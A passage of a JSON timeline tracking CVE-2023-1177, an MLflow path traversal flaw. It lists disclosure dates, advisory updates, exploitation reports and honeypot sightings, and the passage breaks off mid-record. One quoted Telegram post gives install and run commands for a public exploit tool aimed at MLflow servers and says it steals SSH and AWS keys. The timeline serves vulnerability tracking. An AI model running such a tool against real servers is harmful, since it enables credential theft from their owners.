{"metadata": {"vulnerability": "CVE-2023-1177", "count": 422, "kinds": {"milestone": 6, "sighting": 389, "kev": 11, "other": 16}}, "data": [{"timestamp": "2023-03-04T00:00:00Z", "date_only": false, "value": "2023-03-04T00:00:00.000Z", "kind": "milestone", "label": "Reserved", "source": "cvelistv5", "record": "CVE-2023-1177", "field": "cveMetadata.dateReserved"}, {"timestamp": "2023-03-24T00:00:00Z", "date_only": true, "value": "2023-03-24", "kind": "other", "label": "Date", "source": "gsd \u00b7 GSD-2023-1177", "record": "GSD-2023-1177", "field": "namespaces.gitlab.com.advisories.0.date"}, {"timestamp": "2023-03-24T00:00:00Z", "date_only": true, "value": "2023-03-24", "kind": "other", "label": "Pubdate", "source": "gsd \u00b7 GSD-2023-1177", "record": "GSD-2023-1177", "field": "namespaces.gitlab.com.advisories.0.pubdate"}, {"timestamp": "2023-03-24T00:00:00Z", "date_only": false, "value": "2023-03-24T00:00:00.000Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2023-1177", "field": "cveMetadata.datePublished", "metric_role": "disclosure", "metric_basis": "recorded_event"}, {"timestamp": "2023-03-24T15:15:00Z", "date_only": false, "value": "2023-03-24T15:15:00Z", "kind": "other", "label": "Nvd published at", "source": "github \u00b7 GHSA-XG73-94FP-G449", "record": "GHSA-XG73-94FP-G449", "field": "database_specific.nvd_published_at"}, {"timestamp": "2023-03-24T15:15:00Z", "date_only": false, "value": "2023-03-24T15:15:00Z", "kind": "milestone", "label": "Published", "source": "pysec \u00b7 PYSEC-2023-29", "record": "PYSEC-2023-29", "field": "published", "metric_role": "disclosure", "metric_basis": "recorded_event"}, {"timestamp": "2023-03-24T15:15:00Z", "date_only": false, "value": "2023-03-24T15:15Z", "kind": "other", "label": "Published Date", "source": "gsd \u00b7 GSD-2023-1177", "record": "GSD-2023-1177", "field": "namespaces.nvd.nist.gov.publishedDate"}, {"timestamp": "2023-03-24T15:15:10.193Z", "date_only": false, "value": "2023-03-24T15:15:10.193", "kind": "milestone", "label": "Published", "source": "fkie_nvd \u00b7 FKIE_CVE-2023-1177", "record": "FKIE_CVE-2023-1177", "field": "published", "metric_role": "disclosure", "metric_basis": "recorded_event"}, {"timestamp": "2023-03-24T17:50:55Z", "date_only": false, "value": "2023-03-24T17:50:55.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/cibsecurity/60645", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "23192046-9ea1-4a15-9ee1-647d1284b182", "content": "\u203c CVE-2023-1177 \u203c\n\nPath Traversal: '\\..\\filename' in GitHub repository mlflow/mlflow prior to 2.2.1.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "url": "https://t.me/cibsecurity/60645"}, {"timestamp": "2023-03-24T22:01:09Z", "date_only": false, "value": "2023-03-24T22:01:09Z", "kind": "milestone", "label": "Published", "source": "github \u00b7 GHSA-XG73-94FP-G449", "record": "GHSA-XG73-94FP-G449", "field": "published", "metric_role": "disclosure", "metric_basis": "recorded_event"}, {"timestamp": "2023-03-28T11:01:01Z", "date_only": false, "value": "2023-03-28T11:01:01.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CyberSecurityTechnologies/8011", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "e83d6441-9652-423e-b63a-08588181b6a4", "content": "#exploit\n1. CVE-2023-1177:\nHacking AI: System and Cloud Takeover via MLflow Exploit\nhttps://protectai.com/blog/hacking-ai-system-takeover-exploit-in-mlflow\n\n2. Google Chrome 109.0.5414.74 - Unsafe Library Load\nhttps://packetstormsecurity.com/files/171495/Google-Chrome-109.0.5414.74-Unsafe-Library-Load.htm", "url": "https://t.me/CyberSecurityTechnologies/8011", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2023-03-29T17:51:47Z", "date_only": false, "value": "2023-03-29T17:51:47.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/oAmH0AXxA30R7aGE0PAegJ7LjchPZQTK5yq3JgQTqkk5sFo", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "2fd41f50-6bc3-4859-ab1d-afd2d0e125b7", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2023-05-04T03:49:46.618Z", "date_only": false, "value": "2023-05-04T03:49:46.618607Z", "kind": "other", "label": "Updated", "source": "pysec \u00b7 PYSEC-2023-29", "record": "PYSEC-2023-29", "field": "modified"}, {"timestamp": "2023-10-14T19:47:04Z", "date_only": false, "value": "2023-10-14T19:47:04+00:00", "kind": "kev", "label": "Asserted", "source": "shadowserver", "record": "CVE-2023-1177", "field": "timestamps.asserted_at", "metric_role": "exploitation_report", "metric_basis": "kev_report", "batch_listing": true, "uuid": "27f8103b-6e81-4aa8-a9f1-9da81d2fad73", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2023-10-14T19:47:04Z", "date_only": false, "value": "2023-10-14T19:47:04+00:00", "kind": "kev", "label": "First seen", "source": "shadowserver", "record": "CVE-2023-1177", "field": "timestamps.first_seen_at", "metric_role": "exploitation", "metric_basis": "kev_first_seen", "batch_listing": true, "uuid": "27f8103b-6e81-4aa8-a9f1-9da81d2fad73", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2023-11-01T04:40:43Z", "date_only": false, "value": "2023-11-01T04:40:43.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/pwnai/27", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "6bd025a9-e1a1-4fe0-9ad3-fdac295ad471", "content": "https://github.com/protectai/Snaike-MLflow\n\n\u0421\u043a\u0430\u043d\u0435\u0440 \u0434\u043b\u044f MlFlow \u043d\u0430 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 CVE-2023-1177.\n\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u0442\u044c lfi/rfi \u0438 \u0443\u043a\u0440\u0430\u0441\u0442\u044c sensetive info (ssh, aws-keys) \u0431\u0435\u0437 \u043d\u0430\u043d\u0435\u0441\u0435\u043d\u0438\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0443\u0440\u043e\u043d\u0430.\n\n\u0423\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u043d\u0435\u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e \u043f\u0440\u043e\u0441\u0442\u0430\n\ngit clone https://github.com/protectai/Snaike-MLflow\ncd Snaike-MLflow/MLFIflow\npython3 -m venv venv\nsource venv/bin/activate\npip install -r requirements.txt\n\n\u041f\u043e\u0442\u043e\u043c \u043c\u044b \u0435\u0433\u043e \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u043c \u043d\u0430 MlFlow instance \n\npython3 MLFIflow.py -s http://mlflow_adress:5000\n\n\u0414\u043b\u044f DlFlow \u0442\u0430\u043a\u0436\u0435 \u0435\u0441\u0442\u044c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u044d\u0442\u043e\u0433\u043e \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0430. \u0412 \u044d\u0442\u043e\u043c \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438 \u0442\u0430\u043a\u0436\u0435 \u0435\u0441\u0442\u044c \u0441\u043a\u0440\u0438\u043f\u0442 \u0434\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438\n\npython3 Dlflow.py -s http://dlflow_adress:5000\n\n\n\n\u041a\u0441\u0442\u0430\u0442\u0438, \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u0430\u0432\u0442\u043e\u0440 \u044d\u0442\u043e\u0433\u043e \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u0430 \u0432\u044b\u0441\u0442\u0443\u043f\u0438\u043b \u043d\u0430 RootCon\n\nhttps://youtu.be/e3ybnXjtpIc\n\n\u041e\u043d \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u0430\u043b \u043e \u0442\u043e\u043c \u043f\u043e\u0447\u0435\u043c\u0443 \u0432\u043e\u043e\u0431\u0449\u0435 \u0432\u0430\u0436\u043d\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c ML/AI, \u043f\u043e\u043a\u0430\u0437\u0430\u043b \u043c\u0435\u0442\u043e\u0434\u0438\u043a\u0443 \u043f\u043e\u0438\u0441\u043a\u0430 0day \u0438 \u0434\u0430\u043b \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0441\u043e\u0432\u0435\u0442\u044b \u043f\u043e \u0430\u043d\u0430\u043b\u0438\u0437\u0443 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0418\u0418.", "url": "https://t.me/pwnai/27", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2023-11-02T17:42:18.505Z", "date_only": false, "value": "2023-11-02T17:42:18.505Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / @huntrdev", "record": "CVE-2023-1177", "field": "containers.cna.providerMetadata.dateUpdated"}, {"timestamp": "2023-11-02T18:15:00Z", "date_only": false, "value": "2023-11-02T18:15Z", "kind": "other", "label": "Last Modified Date", "source": "gsd \u00b7 GSD-2023-1177", "record": "GSD-2023-1177", "field": "namespaces.nvd.nist.gov.lastModifiedDate"}, {"timestamp": "2023-11-21T02:21:59Z", "date_only": false, "value": "2023-11-21T02:21:59.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/arpsyndicate/304", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "53f05263-8024-4b0c-9e11-542c8d250fc3", "content": "#ExploitObserverAlert\n\nCVE-2023-1177\n\nDESCRIPTION: Exploit Observer has 9 entries related to CVE-2023-1177. Path Traversal: '\\..\\filename' in GitHub repository mlflow/mlflow prior to 2.2.1.\n\nFIRST-EPSS: 0.022630000\nNVD-IS: 5.9\nNVD-ES: 3.9", "url": "https://t.me/arpsyndicate/304"}, {"timestamp": "2023-12-13T01:20:42.089Z", "date_only": false, "value": "2023-12-13T01:20:42.089682Z", "kind": "other", "label": "Updated", "source": "gsd \u00b7 GSD-2023-1177", "record": "GSD-2023-1177", "field": "gsd.osvSchema.modified"}, {"timestamp": "2024-03-06T10:59:15.795Z", "date_only": false, "value": "2024-03-06T10:59:15.795Z", "kind": "milestone", "label": "Published", "source": "bitnami_vulndb \u00b7 BIT-MLFLOW-2023-1177", "record": "BIT-MLFLOW-2023-1177", "field": "published", "metric_role": "disclosure", "metric_basis": "recorded_event"}, {"timestamp": "2024-08-02T05:40:58.232Z", "date_only": false, "value": "2024-08-02T05:40:58.232Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CVE", "record": "CVE-2023-1177", "field": "containers.adp.0.providerMetadata.dateUpdated"}, {"timestamp": "2024-10-01T19:24:26Z", "date_only": false, "value": "2024-10-01T19:24:26Z", "kind": "other", "label": "Updated", "source": "github \u00b7 GHSA-XG73-94FP-G449", "record": "GHSA-XG73-94FP-G449", "field": "modified"}, {"timestamp": "2024-11-25T00:00:00Z", "date_only": false, "value": "2024-11-25T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2024-11-25)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "e70384dd-c435-422e-8bf2-eb3fb35ae5b7"}, {"timestamp": "2024-12-24T00:00:00Z", "date_only": false, "value": "2024-12-24T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2024-12-24)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "b14a974b-6959-4ebb-9eca-ab49a94092aa"}, {"timestamp": "2025-01-02T00:00:00Z", "date_only": false, "value": "2025-01-02T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-01-02)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "311643ce-de43-4859-8614-f6d4b91e4887"}, {"timestamp": "2025-01-13T00:00:00Z", "date_only": false, "value": "2025-01-13T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-01-13)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "877ba8fb-d564-47d5-9fc0-732e8041e5bd"}, {"timestamp": "2025-01-14T00:00:00Z", "date_only": false, "value": "2025-01-14T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-01-14)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "05289cd6-6191-4b65-802f-4a2f7a0cb696"}, {"timestamp": "2025-01-15T00:00:00Z", "date_only": false, "value": "2025-01-15T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-01-15)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "85d44dee-1ed8-4a14-bbb3-c39c1797d31b"}, {"timestamp": "2025-01-16T00:00:00Z", "date_only": false, "value": "2025-01-16T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-01-16)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "c37983a6-7531-4c0c-8b64-87d6832ab763"}, {"timestamp": "2025-01-17T00:00:00Z", "date_only": false, "value": "2025-01-17T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-01-17)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "76f13ad8-8390-4906-91eb-e9ca9643e7dc"}, {"timestamp": "2025-01-18T00:00:00Z", "date_only": false, "value": "2025-01-18T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-01-18)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "cf47a32d-5e43-409d-8ec6-8c541aac588f"}, {"timestamp": "2025-01-22T00:00:00Z", "date_only": false, "value": "2025-01-22T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-01-22)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "494ff82a-d344-4863-8fe3-ba2ba60256ff"}, {"timestamp": "2025-01-23T00:00:00Z", "date_only": false, "value": "2025-01-23T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-01-23)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "66863aa5-4cee-491c-9eb9-b2f842450298"}, {"timestamp": "2025-01-25T00:00:00Z", "date_only": false, "value": "2025-01-25T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-01-25)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "d4bea7c3-f328-4a0c-87de-83fb5c164991"}, {"timestamp": "2025-01-31T00:00:00Z", "date_only": false, "value": "2025-01-31T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-01-31)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "c0d1baf6-57b4-49bb-a9eb-876eaa7b3735"}, {"timestamp": "2025-02-04T00:00:00Z", "date_only": false, "value": "2025-02-04T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-02-04)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "9f986dbd-3d31-43b3-a101-ba2516d2f28e"}, {"timestamp": "2025-02-05T00:00:00Z", "date_only": false, "value": "2025-02-05T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-02-05)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "07340b10-c6eb-4e3a-8a08-30ff66d165ed"}, {"timestamp": "2025-02-06T00:00:00Z", "date_only": false, "value": "2025-02-06T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-02-06)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "9af57618-3388-4d49-85d0-f61f42bd7ecd"}, {"timestamp": "2025-02-07T00:00:00Z", "date_only": false, "value": "2025-02-07T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-02-07)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "06f274fb-bde9-4c3e-b82f-b05937a6f94e"}, {"timestamp": "2025-02-11T00:00:00Z", "date_only": false, "value": "2025-02-11T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-02-11)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "2218c564-b86d-47a2-a948-544d1cc730bf"}, {"timestamp": "2025-02-12T00:00:00Z", "date_only": false, "value": "2025-02-12T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-02-12)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "4226b290-86c5-42b6-8a2b-0cb0627a6264", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2025-02-12T00:00:00Z", "date_only": false, "value": "2025-02-12T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-02-12)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "de102d7e-8091-4be1-9bea-03b0730b317c"}, {"timestamp": "2025-02-13T00:00:00Z", "date_only": false, "value": "2025-02-13T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-02-13)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "c7f4f0ce-74b9-47cf-90ba-4cc9fb4b3682"}, {"timestamp": "2025-02-19T20:56:06.198Z", "date_only": false, "value": "2025-02-19T20:56:06.198339Z", "kind": "other", "label": "Recorded", "source": "cvelistv5 / CISA-ADP", "record": "CVE-2023-1177", "field": "containers.adp.1.metrics.0.other.content.timestamp"}, {"timestamp": "2025-02-19T20:56:06.198Z", "date_only": false, "value": "2025-02-19T20:56:06.198339Z", "kind": "other", "label": "Recorded", "source": "fkie_nvd \u00b7 FKIE_CVE-2023-1177", "record": "FKIE_CVE-2023-1177", "field": "metrics.ssvcV203.0.ssvcData.timestamp"}, {"timestamp": "2025-02-19T20:56:12.814Z", "date_only": false, "value": "2025-02-19T20:56:12.814Z", "kind": "other", "label": "Updated", "source": "cvelistv5", "record": "CVE-2023-1177", "field": "cveMetadata.dateUpdated"}, {"timestamp": "2025-02-19T20:56:12.814Z", "date_only": false, "value": "2025-02-19T20:56:12.814Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CISA-ADP", "record": "CVE-2023-1177", "field": "containers.adp.1.providerMetadata.dateUpdated"}, {"timestamp": "2025-02-21T00:00:00Z", "date_only": false, "value": "2025-02-21T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-02-21)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "e8db119b-c44a-44fc-a9d2-be38e3766f9a"}, {"timestamp": "2025-02-22T00:00:00Z", "date_only": false, "value": "2025-02-22T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-02-22)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "4a33ad2b-45d9-4b22-ae4f-b36e6bed7a38"}, {"timestamp": "2025-02-25T00:00:00Z", "date_only": false, "value": "2025-02-25T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-02-25)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "c069f174-b16b-401a-b0c0-837c31610f12"}, {"timestamp": "2025-02-27T00:00:00Z", "date_only": false, "value": "2025-02-27T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-02-27)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "96898192-a566-47fa-ac96-3917ecfd11a8"}, {"timestamp": "2025-03-01T00:00:00Z", "date_only": false, "value": "2025-03-01T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-03-01)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "754736e8-cc75-4d47-b071-9014dce6eda4"}, {"timestamp": "2025-03-02T00:00:00Z", "date_only": false, "value": "2025-03-02T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-03-02)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "fe1b8be0-c197-4148-b949-a8901e868df5"}, {"timestamp": "2025-03-03T00:00:00Z", "date_only": false, "value": "2025-03-03T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-03-03)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "e6e53331-c775-4f2a-b89c-f60bafecf096"}, {"timestamp": "2025-03-04T00:00:00Z", "date_only": false, "value": "2025-03-04T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-03-04)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "0ed72681-da0d-4163-a278-f1eb5cd31d02"}, {"timestamp": "2025-03-05T00:00:00Z", "date_only": false, "value": "2025-03-05T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-03-05)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "f0e696f9-ebf9-4e46-825b-82cf4e0dc968"}, {"timestamp": "2025-03-06T00:00:00Z", "date_only": false, "value": "2025-03-06T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-03-06)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "57c0baa7-4845-4502-8d13-5e62897bc0a4"}, {"timestamp": "2025-03-10T00:00:00Z", "date_only": false, "value": "2025-03-10T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-03-10)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "d51ec5bb-3b71-4cdb-a00d-337275005379"}, {"timestamp": "2025-03-11T00:00:00Z", "date_only": false, "value": "2025-03-11T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-03-11)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "046a0d4c-cd07-45b8-969b-4b76cb7adb97"}, {"timestamp": "2025-03-13T00:00:00Z", "date_only": false, "value": "2025-03-13T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-03-13)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "d5b24ed8-d583-4031-a9cd-1808d0f751f7"}, {"timestamp": "2025-03-16T00:00:00Z", "date_only": false, "value": "2025-03-16T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-03-16)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "151333aa-ba78-46c0-b5bb-cd3c7c4d3124"}, {"timestamp": "2025-03-17T00:00:00Z", "date_only": false, "value": "2025-03-17T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-03-17)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "21f558c1-5b4d-48d8-9eaa-f714ab24ca96"}, {"timestamp": "2025-03-18T00:00:00Z", "date_only": false, "value": "2025-03-18T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-03-18)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "d594d960-8390-4efb-8057-9e96f1d1c4aa"}, {"timestamp": "2025-03-19T00:00:00Z", "date_only": false, "value": "2025-03-19T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-03-19)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "b5f2b508-ce59-4a4b-b28e-592dac8d304a"}, {"timestamp": "2025-03-20T00:00:00Z", "date_only": false, "value": "2025-03-20T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-03-20)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "0a4afb0d-d66e-4782-8dda-e4289e130969"}, {"timestamp": "2025-03-22T00:00:00Z", "date_only": false, "value": "2025-03-22T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-03-22)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "0c39c1de-4761-4781-be34-af0a094c147d"}, {"timestamp": "2025-03-23T00:00:00Z", "date_only": false, "value": "2025-03-23T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-03-23)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "528cb9e9-bf44-4266-be73-d61aeccc3103"}, {"timestamp": "2025-03-24T00:00:00Z", "date_only": false, "value": "2025-03-24T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-03-24)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "ae95f7dc-cb0b-4ff5-a053-8d56c33db760"}, {"timestamp": "2025-03-25T00:00:00Z", "date_only": false, "value": "2025-03-25T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-03-25)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "8c33430a-19cd-4294-a701-1806895bdbee"}, {"timestamp": "2025-03-26T00:00:00Z", "date_only": false, "value": "2025-03-26T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-03-26)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "5f27bd48-12ff-4ef8-990c-50e89b7c1695"}, {"timestamp": "2025-03-27T00:00:00Z", "date_only": false, "value": "2025-03-27T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-03-27)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "3f157426-2bab-4fe0-93df-ef2a0fba9c2d"}, {"timestamp": "2025-03-29T00:00:00Z", "date_only": false, "value": "2025-03-29T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-03-29)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "88b4244e-3ce6-47fe-bcb8-6f7691428b36"}, {"timestamp": "2025-04-03T00:00:00Z", "date_only": false, "value": "2025-04-03T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-04-03)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "50868156-22e2-4205-a371-6e357cc89f7a"}, {"timestamp": "2025-04-07T00:00:00Z", "date_only": false, "value": "2025-04-07T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-04-07)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "1c0faba0-bc12-40ac-a4fc-c55b70159256"}, {"timestamp": "2025-04-08T00:00:00Z", "date_only": false, "value": "2025-04-08T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-04-08)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "663fce8a-a31e-4b11-b3c3-fe83a37aa561"}, {"timestamp": "2025-04-09T00:00:00Z", "date_only": false, "value": "2025-04-09T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-04-09)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "a21728ea-9e50-453a-949c-507f15ede895"}, {"timestamp": "2025-04-11T00:00:00Z", "date_only": false, "value": "2025-04-11T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-04-11)", "record": "CVE-2023-1177", "field": "creation_timestamp", "uuid": "1b3e697a-d9f7-4363-91f2-93765f78662c"}, {"timestamp": "2025-04-12T17:00:09Z", "date_only": false, "value": "2025-04-12T17:00:09.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": 